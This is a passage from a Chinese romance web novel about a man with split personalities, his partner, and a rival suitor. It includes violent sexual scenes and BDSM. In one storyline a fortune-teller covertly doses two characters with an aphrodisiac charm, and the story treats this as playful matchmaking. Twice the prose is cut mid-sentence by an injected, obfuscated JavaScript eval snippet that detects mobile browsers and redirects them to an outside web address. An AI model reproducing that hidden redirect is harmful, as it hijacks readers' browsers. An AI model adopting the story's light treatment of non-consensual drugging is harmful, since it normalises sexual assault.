小于瑶瑶三届的晏梨在她后背轻拍了拍:“学姐你冷静,冷静。” 顾琦和李铮一起在窗台放完其他人的鲜花果篮后才后过头,她直接询问道:“齐教授,昨天网上疯传又突然被禁的那个英粹博览馆的视频,真的是你和郁教授吗?这到底是怎么回事?” 晏梨和另外两个男生对郁杉的了解都相对浅薄,他们有些怨气又有些忧心地说着:“真的是视频里那样郁教授突然就暴起打人吗?情绪好极端啊!”“平时根本看不出来郁教授是这样可怕的人。” “不是的。”齐蹊语气有些疲惫,但还是不厌其烦地解释,“郁杉不是那样的人,他只是……” 原本在门口候着的陪护护士没忍住凑进来八卦了一句:“关于你们提的那个郁教授?打你的那个?你不是受害人吗?怎么一直帮着施暴者说话啊?” 病房里所有人目光齐唰唰地看向齐蹊。 没等齐蹊回答,那名护士语气越发激愤:“我看到了网上传的视频,那种敢当众虐打人警察来了都还不肯停手的暴徒和恐怖分子有什么差别,就该抓去枪毙!” “他是我的爱人。 ”齐蹊轻声解释说,“他并不是有意的。” 但齐蹊一向能安抚人心绪的温和语气失了效力,护士哽了一下,接着更加气愤,甚至她看齐蹊的眼神和方才她无法理解的齐青峦逐渐同步,带着一样的气其不争:“情侣就可以打人了吗?家暴更该枪毙!” 病房里没人敢吭声,李铮很小声地感叹一声:“家暴确实该枪毙。” 一直降低存在感的池鱼拉了拉李铮的袖子,他才垂眼噤了声,他几个是唯数不多稍微知道一点郁杉特殊的精神状况的,其实不该妄加评价。 “是情侣是爱人,但我同时也是他的主治心理医生,是他的法定监护人——我从未提倡纵容暴行,但我理当为他一切的行为负责。”齐蹊默了默,叹了口气认真说,“他只是生病了,请不要害怕他啊。” 35. 欲壑与妄念 烈火烧灼沸腾的人格意识世界中,孤注一掷的郁寒终于破开那压抑困缚他多时的壁垒,再次拥抱住了郁杉。 压抑的,暴烈的,疯魔的情绪化做黑色的火海。 整个精神世界天崩地陷,白茫无际的天空一块接着一块从高处脱落,大地裂出深渊壑谷,焰火与那道浮着黑雾的记忆长河冲撞,火星与水花迸溅着。 郁杉眼前仿佛看到了一个被全然释放开的,恶魔。 瞳孔骤缩,被一下捅穿的郁杉还未能痛哼出声,带着恨与爱的热烈的吻便纠缠上来。 喉舌间的声音被吞没,只余下缠绵亲吻的水声,颈脖被郁寒一只手掐握着,郁杉腰腹以下像被腰斩般失去知觉,火焰扑裹住他们。 一寸一寸,焰龙焚烧意志。 郁杉在痛楚和恐惧中承受了恶魔原始欲望的全部冲击。 他身下背部以上的区域悬在崩裂出的绝崖,腰处被捅伤的窟窿在火焰的蚕食下越来越大,那火焰是郁寒情绪所化,郁寒在吞噬他的意识。 ——他真的会死,会消亡。 ……郁寒,郁寒居然真的会杀他。 郁寒在郁杉瞳影中看出一丝惊诧和难以置信,他低喘着,笑得嘲弄至极:“有什么不好接受的呢?宝贝,你想杀我那么多次,我回礼一次又怎样呢?” “而且我不是说了,要带你一起下地狱吗?” 郁杉在身体的颤栗中抬手,郁寒掐住他脖子的手瞬间更加用力,一时青筋暴起,但郁杉没有去拉郁寒的手臂,只抚摸上郁寒扭曲的面容。 郁寒施暴的动作顿了一瞬。 郁杉神情淡漠,低哑开口:“既然是报复我的回礼,那就不要流露这么悲伤绝望的情绪。” “你这张嘴,总是说些让我不爽的话。”郁寒眯了眯眼,躲开郁杉的手,低头抵着郁杉额头,“嘴咬烂了都没有用……我很久没有这么对你了,但你果然是要操服了才会闭嘴。” 身上的火焰蔓延纠缠,从手臂到指尖,骨骼到发丝,绝望而暴烈的欲望彻底浇透他。 郁杉与郁寒瞳火熠熠的目光交锋一刹,看上去毫无抵抗之力的他突然间暴起,而后身位翻转,不肯放开他的郁寒与他一同摔坠进渊崖裂壑那张开的犹如地狱恶兽的巨口中。 粉身碎骨的痛苦中,传来郁杉颤抖的喘息的并不真切的声音:“郁寒,如果我说……我爱你呢,这一次,你还愿意为我消失吗?” 多荒谬的话呀。 几乎快碎成一片一片的郁寒仍旧不肯放开郁杉,意念疯狂纠缠着交合,郁寒眼中戾气几乎化作实质的黑色火焰,但郁杉恍惚在那戾火中看到闪烁的沸腾成雾气的水光。 被冲撞的意识迷离到难以聚拢,思绪涣散间,郁杉听到郁寒饱含恨意地说:“我会信你一句轻描淡写的‘爱’?郁杉,你的心脏也是我的心脏,你的情绪也是我的情绪,没有人会比我更了解你话语的真假了。” 可是,他不说不愿意,只是不信这句“爱”。 心脏好像抽疼了一下,郁杉分不清那是郁寒还是他的难过。 郁杉下意识抬手想去碰郁寒的胸腔,想去触碰他们那颗骤缩的心脏,但郁寒一把抓住他的手,用那种洞穿他一切心思的眼神垂眸看着他。 一滴眼泪砸在郁杉眼中。 “怎么?你分辨不出自己的情绪,便要剖开我们的心脏来看看吗?”郁寒笑着,癫狂着说,“郁杉,你曾经疯狂憎恨我,又无法离开我无法割舍我,如果爱能在恨中诞生,那么如今的你不会说出不再需要我的话。” 眼泪在郁杉眼睛化开,他目光湿濡中像是显出了难辨虚实的几分真诚:“在我们对齐蹊造成实制性伤害前,我曾有过自我和解的打算。” “我不需要谎骗。”郁寒半点不信,可情绪分明那么绝望疯戾,身下动作那么残暴凶狠,郁寒却突然落着无比温柔的吻,“我也不会再做自愿消失的傻事,平白给情敌腾位置。” 郁杉平静眨着眼,眼眶蓄着的液珠浸湿眼睫后从脸庞滚落:“是我撒谎吗?” “是,撒谎精。”郁寒吻过郁杉眼尾泪痕。 “爱与恨不能共存吗?”郁杉微微仰头向郁寒主动索吻。 郁寒沉默许久:“可以。” 郁杉毫无斟酌,笃定说:“郁寒,你爱我,是你离不开我,是你无法割舍我。” 郁寒一言不发,只是一味抵着郁杉索取、榨汲。 郁杉眉锋颤抖:“难道你对我的爱不是从厌恨中诞生的吗?我们从第一次知道彼此存在时,就已经相看两相厌了。” “我没有厌恨过你,即便我不是为你而诞生而存在的副人格,我也一直在扮演保护你的角色。”郁寒反驳道。 反倒郁杉更加从容淡定,他在浪迭的颠簸中再次找准郁寒最深的痛点,冷声说:“你总是说你在保护我在为我筑砌堡垒遮蔽风雨,但你也同样让我难见天日不得自由。” “这道德的高地,郁寒,你站不住的。” 郁寒定定看了郁杉半晌,嗤笑一声:“我又不是需要洗白的反派,我要站什么道德高地?” 像是先前短暂平和的温柔,只是狂风骤雨降临的征兆。 但郁杉一口咬上了郁寒的脖子,没有丝毫求饶示弱的意思:“郁寒,我确实不爱你。” 在郁寒那抱着同归于尽心思的绝望黑焰将郁杉的意识体彻底侵噬殆尽前,郁杉最后开口说:“我是人格残缺的不完整品,你知道的,我从不具备爱人的能力。” “但或许你消失了,我就会成为你 ,成为完整的自己,会接纳我曾经抗拒封闭的一切感情——也会明白你的爱。” …… “泡完温泉去跳冰湖,他是真有求死的打算。”宗寰坐在医护站的诊室门口,目光一直锁在床位上的郁寒身上,对电话那一头的精神科医生说着,“可是我不明白,他虽然有分裂人格障碍,但主人格副人格从来都不是会轻生的人。” 耳侧传来两下叩门声,宗寰转过头看去,换了身干衣服的kavan ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238684|166204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正站在门侧。 他对上宗寰的目光,一瞬眼神微妙的颤烁后,平静又突兀说了句:“他快死了。” 宗寰噌地一下站起来,还在通话的手机从他手中摔落,他不管不顾地慌恐拉拽住kavan的手臂,语气焦灼:“这话什……什么意思?你别吓我,刚刚医生不是还说他好好休养没什么大事吗?” kavan看向宗寰的眼神有一丝怜悯:“我卜问的卦象中,风灵回应我说,他将远去。” “——他将在破败的幻梦中长眠,他将在烈灼的焰火中远去。” 宗寰思维僵顿了片刻,他吸了口气,咬着牙偏执且不愿相信地反驳:“先生,请不要说这种神神叨叨的话,封建迷信是不对的。” 但他的眼神是慌措悲伤又带有些许脆弱的。 kavan眼中怜悯更甚,他径直越过宗寰向屋内走去。宗寰跟在他身后,不说话,也没什么动作,就那么眼巴巴地看着他。 kavan看向宗寰,他些许生硬的中文口音总是让人不自主感觉到威严淡漠:“嗯,封建迷信是不对的,但我还是建议你最好现在叫醒他。” 宗寰抱着不可信其无的心态,俯身抱住床上郁寒的身体一阵猛晃,企图将人摇醒。 没想到这样真有成效的宗寰直直对上郁寒冰冷黑沉的眼睛,他满脸担忧又讪讪地说:“你……你醒了啊,吓死我了。” 郁寒冷冷说:“你在干什么?” 这句话冰得宗寰这个寒毛都要炸了,他觉得郁寒晕前晕后简直两个人,伸手在郁寒眼前晃了晃,试探地问:“郁寒?” 郁寒皱眉,盯着半俯压在自己身上紧紧抱着不松手的宗寰,重复一遍:“你在干什么?” kavan伸手揪着宗寰后衣领将人拽离了两分,适时出声解释:“看你似乎梦有惊厥,是我让他把你叫醒的。” 被揪开的宗寰又紧紧贴凑到床边:“医生说你没什么大问题,就身体受了些寒可能会发烧,最近要注意保暖。原本计划的下一站乌兹曼威坦的地狱三角门还打算去吗?那里气候正好炎热祛寒。” 郁寒揉了揉眉心,收敛眼中的倦怠和戾气,平静回道:“行程照旧。” kavan插言道:“近日你命宫避火,不可去。” 郁寒挑眉,饶有兴致地询问:“那kavan先生有什么推荐去的地方吗?” “你有所求吗?”kavan问道。 “有。”郁寒认真说,“我想求问,一场本命姻缘。” kavan突然将目光移向宗寰,片刻后回了一句先前便让宗寰跳脚破防的话:“你们真的不是正缘。” 宗寰只恨没办法捂kavan的嘴,他匆忙移开话,两眼装着星星般望向郁寒:“那我们去桃冠山玩儿吧,听说那里的祈姻古树是最旺爱情线的了。” “这个季节,还有桃花吗?”kavan疑惑,他顿了顿,又反复看了看郁寒,“而且你的姻缘线,你不是一直都很明晰且攥得很紧吗?” 36. 桃花祈愿符 恰有阳光落在郁寒脸上,他挑起的眉锋有几分慵懒又冷淡的屑意,像逢冬的枯木暴晒在寒光下。 分不清是希冀,还是心冷。 只是隐约的,有灼灼的光在眼中潋滟闪动,他轻声问:“我所攥紧的就是我的正缘吗?……那正缘,能结正果吗?” 刚才还欲言难止的宗寰一瞬间不说语了……他闭了下眼睛,压抑住眼底恶浪般的情绪。 看呐,郁寒什么时候有过这样悲伤失意又被缠累着无法放下的复杂情绪,像可怜虫一样一边表现着不相信不在意又小心翼翼地求问。 真该奚笑一句,“天道好轮回”。 原来啊,世界上在爱里求而不得的人全都他妈的一个鬼样。 kavan深深看着郁寒,最后只叹了口气:“其路崎岖,难见转机。” 刹那间,宗寰掀开眼帘,瞳光明亮起来。 他全然不掩饰那点幸灾乐祸,也不遮掩想上位的野心,几乎是下意识的,宗寰格外坚决地又有点鬼鬼祟祟地去握郁寒的手。 郁寒的手很冰,但他的神色像是早知道这结论一样平淡,他斜目扫了宗寰一眼,冷冷说:“宗寰,你偷感好重。” 宗寰没皮没脸地笑了一下,狐狸眼睛眯成弯弯:“这不是因为没名没分的吗?反正……你看反正都一样没有结果,你要不考虑一下也给我弄个名分?” 郁寒明显心情不大好,挖苦讽刺拉满:“我以为你执意和我纠缠不清是做好了当小三的准备,小三要什么名分呢?一个见不得光的情人。” “那我不要名分了。”宗寰目光颤动,像是有些悲伤又像是刻意挑拨那根刺激的弦,他当着旁人的面不知羞耻地说,“你会愿意和我一直偷情吗?” “你和我做的时候可以把你的主人格屏蔽在精神世界,他不会知道我们上床的。” 郁寒气笑了,眼带寒意泼着冷水:“宗寰,我不会和你上床做.爱,睡你我提不起欲望。” “那你玩我也可以。”宗寰垂眼看着与郁寒交握的那只手,用最真挚的语气说着下流的话,“你回来的第一面不是说你想要和我交流一些Dom心得吗,当初那套房子的隔间里有我准备的很多道具,比你在床边柜里见到的多几十倍不止……” “我可以教你玩我,我可以给你舔,我可以去打舌钉,穿孔上环纹身我都可以接受。” “我的宗大少爷,脑子还清醒吗?”郁寒冷脸想抽开手,没抽动。 他另一只手抓住宗寰头发猛得往后扯,直直对上宗寰眼底妄想低掩而过的情绪:“求爱到脸面尊严都不要了,当着旁人面说这么淫.荡下贱的话?” 一旁听着现场版刺激八卦的kavan倒是没什么特别反应,他一脸平静地摸出一张系着桃花结的祈运福俯身放在宗寰手边:“送你的,你身上的气运很强,愿天神眷顾你,心想事成。” “另外,关于这位郁寒先生承诺‘涌泉相报’的救命之恩以及先前替你占的那一卦,我会在合适的时候向你索取报酬。” “回见。”kavan撂下最后两个字,转身头也不回地离开了。 “现在没有旁人了。”宗寰腿搭上了床,一只手抵握着郁寒的手不肯松开,一只手抵在枕侧,压缩与郁寒仅有的距离,明明动作充满了侵略性,话里却全是下位者的小心翼翼,“郁寒,利用我吧,各取所需的话,我会一直都被你需要吗?” 宗寰确实有一张很漂亮很能魅惑人的脸,盈着泪光眼睫湿润的样子像在刻意勾引人:“你可以最喜欢自己,第二喜欢我就好了。” 谁能拒绝这样的宗寰啊?像是被眷养驯服又用水泼湿漂亮毛发的狼狈小狐狸,像是摇着尾巴认真讨好猎人的萨摩耶,那张往日不可一世的脸上流露着将人捧上王座敬献真心的虔诚渴求。 而他仅仅只是,渴求一点点的爱意。 郁寒能。 他眼神暗了又暗,松开手,话里仍是绝情:“别装。” “不同意吗?”宗寰一脸无辜地看着郁寒,他掉眼泪总是无声无息的,“不同意的话,那就只好再打断一次腿锁起来,锁到死或者你同意为止。” 表面毫无锋芒乖觉到任他揉搓的人归根结底还是藏敛了利爪的恶兽,郁寒并不怀疑宗寰的话,宗寰当然做得出这样的事。 就算他对于宗寰危险情绪的拿捏把控,表现得再胜券在握再游刃有余,也依旧有赌的成分。 郁寒突然明白了宗寰和齐蹊的不同。 ——齐蹊本身就是高度自律的人,他身上自有枷锁,郁杉不需要做太多就可以笃信地说齐蹊不会真的伤害他;而宗寰因为随心所欲放纵成性所以危险程度也更为不可控,能够牵制他的缰绳完全掌握在郁寒手中,松一分紧一分都有可能承受被反扑撕食的风险。 很危险,但这种感觉也很妙不是么。 “我很可惜,没有时间再陪你玩这种游戏。”郁寒的手落在宗寰脸上,帮他擦着眼泪,“我要说多少遍你才会相信,我不会在爱里回应你。” “我们关系维系时间的长短只在于,你什么时候对我丧失利用价值,或者你什么时候厌倦这种不健康的利用关系。” 这个世界上简直没有人能比郁寒心更硬了,宗寰绝望地想着,他觉得自己被绳索勒紧几乎不得喘息:“不回应也没关系,相爱是两个人的事,但爱是一个人的事。” “你不要想甩掉我,不要想摆脱我,我会一直一直缠着你。” 郁寒不轻不重地扇了宗寰一巴掌,眼神带着居高临下地轻蔑,看狗一样:“宗寰,别这么下贱。” 宗寰突然暴起,掐着郁寒脖子狠狠将人掼抵在床头,他顶着眼尾未干的泪痕,那双黑沉的眼中似有熔岩沸腾:“真把我当你训的狗了?这么有恃无恐,是真的觉得我不会发疯吗?郁寒,我弄死你不过分分钟的事。” 郁寒挑眉,一副特别欠.干的语气说:“好啊,来,弄死我。” 该怎么去形容怒火中烧的宗寰此刻的无力,气氛一瞬诡异的凝固后,宗寰发疯般去扯郁寒的衣领,低头对着裸露的颈脖狠狠咬上去,那清晰的血管在齿牙之下危险搏动。 吃痛的郁寒屈肘击向宗寰太阳穴,宗寰偏头闪避的刹那,郁寒屈膝顶向宗寰腹下三寸。 宗寰迅速抬腰,双腿绞住郁寒的腰身紧紧缠制,两人裹着翻卷的蓝白被单滚落床沿,宗寰有意垫在了郁寒身下。 但郁寒趁机脱制,旋身用双腿绞住宗寰脖颈,小腿肌肉绷紧成杀人的弓弦。 被夹在郁寒膝弯里的宗寰喉结滚动,郁寒这个姿势是能一击毙命的杀招,他不敢挣动了,郁寒也就逐渐卸力。 半分钟的僵持后,郁寒双腿抵地跪坐起身,他看着胯.下的宗寰勾唇笑了下:“服吗?” 宗寰颔线紧绷,下一秒双手分别抓住郁寒的脚腕向下身一拽,手臂抵开郁寒想夹紧的双腿,失去重心向前摔跌的郁寒双手下意识撑地,又被宗寰抱住腰身一个死亡翻滚。 那张随被单掉在地上被遗忘的祈运福在两人翻滚间被压散开,不知什么材质的桃花结碎成红色齑粉。 直到两人撞上床架发出闷响,震得床头柜玻璃杯摔掉在地上。 身位交替,宗寰覆在郁寒身上,用浑身的力量压制住郁寒,在郁寒抬手一记手刀想劈向他颈侧时,宗寰成功擒住郁寒手腕压过头顶。 宗寰膝盖挤进郁寒双腿.间,指腹碾过郁寒脸上沾染的红色粉末,眼中看着那抹艳色,把那句话还给他:“服吗?” 像淬火锋刃劈开冬夜寒潭,被激起血性的郁寒眼中有炽烫的光彩。他腿伤刚好,近几日身体又接连被折腾消耗,力劲不比从前,不然宗寰很难有这样完全压制住他的可能性。 突然间,郁寒弓腰用前额撞向宗寰的额头,被撞得脑袋一声砰响的宗寰并没有预想中的后仰避让,忍着痛笑得更张扬夺目:“就只有这点招数了?” 郁寒被宗寰膝盖重重一顶,咬着牙,发出细微的抽气声,宗寰却在此时低头亲咬上郁寒的唇,像品鉴战利品一样。 郁寒在片刻的抵抗后,任由宗寰与他唇舌纠缠交互,甚至刻意引诱,却在宗寰情动迷离沉溺其中的时候,猛得挣动被钳握的双腕。 宗寰霎时惊醒回神,他猛咬了下郁寒舌尖,另一只手也拼命去抓握郁寒的双腕,在郁寒挣动因失力减弱三两分后,宗寰单手扯过床单一角拧成绳将郁寒手腕绕着床腿架捆起来。 捆完之后不放心的抽开腰间皮带又捆了一道。 饶是这样,宗寰也不敢完全松开手上钳制,郁寒见他防成这样也是无奈,口腔中满是腥甜和宗寰的气息,郁寒闭了闭眼睛。 也不知道是不是打斗中磕蹭到了哪里,郁寒脸颊有些发热发痒,渐渐的,口舌都干燥起来。 在郁寒意识到哪里不对时,宗寰先喘着粗气面色发红地问郁寒:“是运动量太大了吗?你有没有觉得身上特别热?” 郁寒脸色凝固,不愿猜测中带着难以置信:“你给我下药了?” “?”宗寰比郁寒反应还慢半拍,他只是觉得身上细汗冒得不太正常,呼吸越来越灼烫,“你在乱说什么?干架没干过我就没干过我,不要污蔑人啊你,这种坏事我就当初做过一次……” 宗寰突然顿住,眨了眨眼睛:“不是我下的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238685|166204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我好像也中招了。” 郁寒冷声说:“从我身上起开,解开我,去叫医生。” 宗寰半天没动,他呼吸很重,看着郁寒逐渐面色潮红的样子,手指轻轻捏过郁寒的耳垂,感觉自己浑身血液都在逆流。 他咽了咽口水,眼中浸满欲色:“要不,我帮你吧。” *** 宗寰被那声压抑的呼息勾得手都颤了一下,他捏蹭郁寒耳垂的手已经滑到了郁寒的脖颈,指腹一根根压过咽喉绷紧的喉管后停在喉结上,宗寰挠痒似的用指节轻轻刮蹭了一下,在引得郁寒浑身颤栗后低头再度覆上郁寒红若沁血的唇。 (请苍天辨忠奸啊老天爷!这里亲密描写仅限亲吻,手部动作也没有脖子以下啊!!) 不出意料,宗寰被郁寒咬得满嘴是血,但他并不松开口,反倒手上把玩的力道逐渐加重。 这个吻里彼此都凶狠得要命,却又像暴徒擦拭染血的刀刃,在血腥危险里品出三分诡异的缱绻。 郁寒被绑在床腿的双手发狠般挣动,宗寰这才松开郁寒的脖子去压制他的手,郁寒要是挣开来了一定会活撕了他的,宗寰笃信。 门外突然传来敲门声,有医护站的员工在门外疑惑说着:“这门怎么从外面上锁了?里头不是还有一个落水昏迷的伤患吗?” 郁寒和宗寰的动作都一顿,他们此刻都衣衫不整狼狈至极,完全不敢弄出大动静引人注意,互相对视一眼后,宗寰目光扫向地上那道祈运福。 “那个kavan……也是你的人?”郁寒喘息着,低声质询。 郁寒话音刚落,门外紧接着传来kavan对医护员工说话的声音:“是宗少的安排,你们回避一下,晚一点再过来。” “苍天可鉴啊,我跟他半点不熟,今天也是第一次说上话。”无从辩解的宗寰只能讪讪一笑,但他笑着笑着,多了点儿得了便宜还卖乖的味道,“我也不知道他为什么要这么做。” “松手。”郁寒咬牙低斥。 “门锁上了没法出去也叫不了医生,这么干忍着多难受啊,郁教授,用用我吧。”宗寰见方才的血沫在郁寒唇角拉出细丝,又臭不要脸地凑上去舔舐。 此刻宗寰和郁寒身上温度都烫得惊人,宗寰理智已经有些把持不住。他膝盖有意无意地蹭了蹭,收回的那只手掐住郁寒的下颌,将充满郁寒气息的手指卡进郁寒颌间,然后加深这个绵长潮湿的吻。 郁寒浑身紧绷,宗寰虽然如他所愿的收回手,但现在那要到不到的要命感觉在药物作用下发酵成过电的酥麻,以致于他真的被宗寰的吻引诱。 但宗寰反倒没有进一步不规矩的动作了。 呼吸纠缠,彼此的体温紧密传递着,宗寰和郁寒额头相抵,眼神炽灼似有火苗高窜,却又深情真挚得要命。 仿佛没有郁寒的下一步命令,他真的不会再做什么。 可是郁寒无动于衷,任由情.欲焚烧理智,明显空熬到身体痉挛发颤也不会如宗寰期待中主动开这个口,许久的僵持后,宗寰将头埋在郁寒颈窝,眼中湿红一遍。 虽然郁寒此刻表面受制于他,但他想要抢回一点真正意义上的主导权还是太难了,他承认他就是被郁寒牵着鼻子溜的狗。 宗寰掉着眼泪,扯了扯嘴角说:“有这么讨厌我吗?” 郁寒侧开头不理他,或许不是不想开口,只是一张嘴就会泄出拼命压抑的喘息声。 “你不说拒绝的话,接下来的事我可就当你默许了。”宗寰气息不稳,贴着郁寒耳侧说。 倒数三秒,三……二……一…… 郁寒还是没有出声,宗寰双肘抵地半支起身瞧了双眼紧闭的郁寒一眼,他深吸了口气,去扯郁寒的衣服,沿着颈项一路向往下暴烈地吻着。 ……医护站隔壁的房间,kavan坐在桌子前回着笔电里光一工作室汪璐璐刚发来的项目信息。 Rhine到处在找他的那张桃花祈运符,半天没找到,过来拍了拍kavan肩膀:“诶,哥,你看见我那张春桃符没?就上次用情欢蛊粉刚做的那个,突然不见了。” “我送人了。”kavan平静说。 “送!人!了!那玩意儿一个不注意沾上跟春药没什么差别!你送谁了?”Rhine震惊。 kavan没说话,但他笔电上的消息框又闪了闪,kavan点开消息框时Rhine看到汪璐璐聊天界面提示的最新更新空间说说上显示—— “@汪汪大队 9月28日 晴 隔壁小于宝和叶总好像又闹别扭不处了,锁一屋里喂了点儿椿药,希望能快点和好,祈祷jpg.” 37. 不得解脱 “好坏的点子。”Rhine眯了眯眼,“哥,你不会是看到这个,也用我的春桃符干坏事了吧。” kavan敲键盘回消息的手迷之停顿,Rhine凑过去盯着面色无懈可击的kavan看了又看,终于在他眼角发现一丝可疑的弧度。 虽然只有大概两个上扬相素点的差距。 “好嘛!你果然干坏事了!”Rhine摁住kavan的肩膀一阵猛晃,“好人你当了!因果算我的!啊啊啊啊啊,我掐死你!” “别闹,还要工作。”kavan淡笑着说,“还不是养你太费钱了,昨日卦象说东方来财——一份春桃符如果助力隔壁宗家大少爷心想事成,报酬会不可想象的丰厚。” …… 宗寰嘴角肿得厉害,他抬手抹过唇角,看着缓过来些的郁寒,颤声哀求说:“我把你解开,郁教授,你也帮帮我好不好。” 还在不应期的郁寒略有失神地望了眼宗寰,他此刻药效未退尽浑身疲软又受制于宗寰,如果宗寰要强来他也不见得能挣扎得过。 可是,宗寰居然会选择请求他。 爱和真心会让无所拘束的纨绔少爷也学会小心翼翼,学会尊重和克制己欲。 郁寒几乎已经相信了,这次中招不是宗寰故意为之,但他还是哑声说:“不帮,你自己解决。” 宗寰眼睫狠颤,他已经忍耐到颈脖上青筋都快暴起,企图平息气息的深呼吸也烫得吓人,却咬住手腕用痛感让自己强行冷静一些。 有眼泪浸到手臂上,宗寰在细碎的呜咽中努力自己安慰自己,却满腔委屈不得解脱。 郁寒屈了下膝盖,脆弱关头被撞到的宗寰朝郁寒身上跌去,又被郁寒冷漠地一腿踹开。 没有被体温传递过的地面像极寒之冬一瞬笼罩身体的烈火,身体刮擦和极致温度差带来的疼痛之后是风暴一样席卷四肢百骸的细小电流。 宗寰颤抖着抬眼去看郁寒,眼神可怜得让人心疼。 半晌后,确认得不到怜悯的宗寰用最后一丝理智支着身子向前爬了些许,然后快速解开郁寒手上的束缚。 他背过身去蜷缩成一团,哽咽着说:“你离我远点儿,如果我待会儿做什么不受控制的事,不要生我的气,打我就好了。” 郁寒揉了揉手腕支起身坐回病床上,宗寰的脸不动声色地蹭到了郁寒脚边,像滚烫的热源一样贴了上去。 郁寒垂眸片刻,不算用力地抬脚踢开宗寰,却被宗寰抱住了腿,他眼神居高临下且冷漠:“松开。” 宗寰像是已经听不清郁寒的话了,郁寒却突然俯下身抚过宗寰的脸,温声说:“你还想和我一起去桃冠山吗?” 正攀着郁寒小腿放肆往上爬的宗寰顿了顿,慢吞吞地松开手,他浑身像熟透了的虾一样红,也像熟透的虾一样躬着身。 侧着头,仰望着郁寒,宗寰眼泪几乎要把地板都泅湿一片。 郁寒抽回手,用脚尖勾起宗寰的下巴:“你再乖一点,我就陪你去桃冠山约会。” 宗寰目光颤动,下一秒,郁寒的脚插进他正想有所动作的双手间,似警告般不轻不重地一踩,宗寰咬着牙闷哼一声,汗湿了整个后背。 郁寒似乎对玩儿他起了些兴致:“你之前说的那些,我同意了。” ……什么同意了?宗寰锈钝的脑子半天转不过来,直到郁寒去拉开房间的窗户,秋日的冷风灌了进来,冻得身上衣服半挂不挂宗寰一激灵。 他狠狠打了个喷嚏,烧得整个人都有些晕眩,理智却回笼些许:“你是说,你要跟我回星湖湾那处的公寓吗?……你,要玩我吗?” 郁寒平静站在窗侧,身后是连绵雪山与艳阳。 又是那种……该死的渺远的感觉,宗寰从地上艰难爬了起来,冲上去紧紧抓住郁寒手臂,用力到甚至抓握出淤红指印。 他哑声问:“你同意除了自己以外最喜欢我了是吗?” 郁寒没有抽开手,反倒另一只手揉了把宗寰凌乱的头发:“一些没有办法辩解的基本事实,其实无所谓我说同不同意。” “宗寰,全世界百亿人中,除了我自己以外,我最喜欢你。” 宗寰心脏狠狠颤动,就算郁寒是玩弄他才说的话他也认栽了。 他眼泪不可控制地掉着,哭得特别特别狼狈,哭着哭着又笑起来,漂亮的脸上神色生动神气得要命:“你说的,这是你说的——如果你骗我,我会杀了你的。” “别哭了,丑死了。”郁寒刻薄地说着。 “那你……那你帮帮我,求求你了……”不得释放的宗寰拽了拽郁寒的手臂,湿漉的眼中盛满渴求。 郁寒不为所动,只是目光冷冷向下瞥了一眼:“别撒娇。” 宗寰在郁寒剜刀似的目光下痉挛地颤了颤,他身体疲力地倚着墙往下滑,却仍紧抓着郁寒的手不放。 他觉得他真的要被郁寒折磨死了,他看着郁寒那张脸眼睫颤烁着低喘,顶着那样的目光,却好像不管怎么努力都还是差一点。 许久后,郁寒轻叹了口气。 …… 再次回到那套复式公寓时,总有种旧梦回笼的恍惚感,在暗门后的隔间里褪了层皮的宗寰此刻戴着分腿器跪在阳台。 夜色已经很深了。 高大的落地窗盛放下了这座城市的霓虹璀璨,远处的金融塔闪着夺目得犹如万花筒镜片的灯光秀。 宗寰后颈抵着玻璃,有幻色光瀑在他裸露着纵横鞭痕的背脊上流动,仿偌浇铸出一副虚妄蓝图。 洗完澡出来的郁寒用毛巾搓着潮湿的头发,对上阳台处的宗寰灼切的目光,他拿起吧台酒柜前开了的半瓶红酒走了过去。 “……怎么样,我有让你满意吗?”宗寰吃力地笑着问,有光段映亮他的眼睛,明亮异常。 这样的宗寰是真的很漂亮,能让圣人动凡心斥一声妖魅的蛊诱程度,郁寒很难界定自己是不是真的没有被宗寰引诱俘获。 “你是个很完美的情人。”郁寒这样评价,他在宗寰身旁坐了下来,背一同抵着那面落地窗,像隔绝了那个让人溺毙的欲色世界。 郁寒拿起酒瓶仰头猛灌了几口,又将红酒递向宗寰问,“喝吗?” 双手在后背同分腿器的绞链铐在一起的宗寰眨了眨眼睛:“可以喝你嘴里的吗?” 郁寒轻笑一声,灌了两口酒掐着宗寰的下巴渡了过去,唇舌交缠间,辛辣又回甘的酒液在味蕾炸开,郁寒和宗寰像是都从那酒液中尝到了彼此的味道。 “我现在还记得那杯天使之吻的味道。”郁寒手从宗寰后背滑了下去,拔开了铐链的锁扣,“宗寰,你站在高位太久了,或许没听到人说过——你的滋味真的很绝。” “是啊,只有你敢这么说,敢说我像魅魔,像艳鬼,但我也只引诱过你一个人品尝我。”宗寰舔了舔嘴唇,有些意犹未尽,“我们真的很配,不是吗?一样的辣,一样的魅,一样的带劲。” “确实很像。”郁寒认可道,他举起酒瓶喝了两口又递给宗寰,像月下坐谈借酒随心畅言的好兄弟你一口我一口地喝着,“但至少有一点不一样,我比你心硬。” “真的吗?你真的比我心硬吗?——你只是不对我心软罢了。”宗寰忍不住嗤笑一声,出口的话比脑子快,他笑音苦涩,“如果今天你面前中了药的人换成郁杉试试呢?” 郁寒倒不辩驳,只说:“他不一样。” “对啊,都不用他求你。”宗寰闷声又干了两口酒,“甚至不好说那么可怜的人会是谁呢?你说不定还不如我正人君子呢。” “没有这种假设,他中药就是我中药。”郁寒抢过宗寰 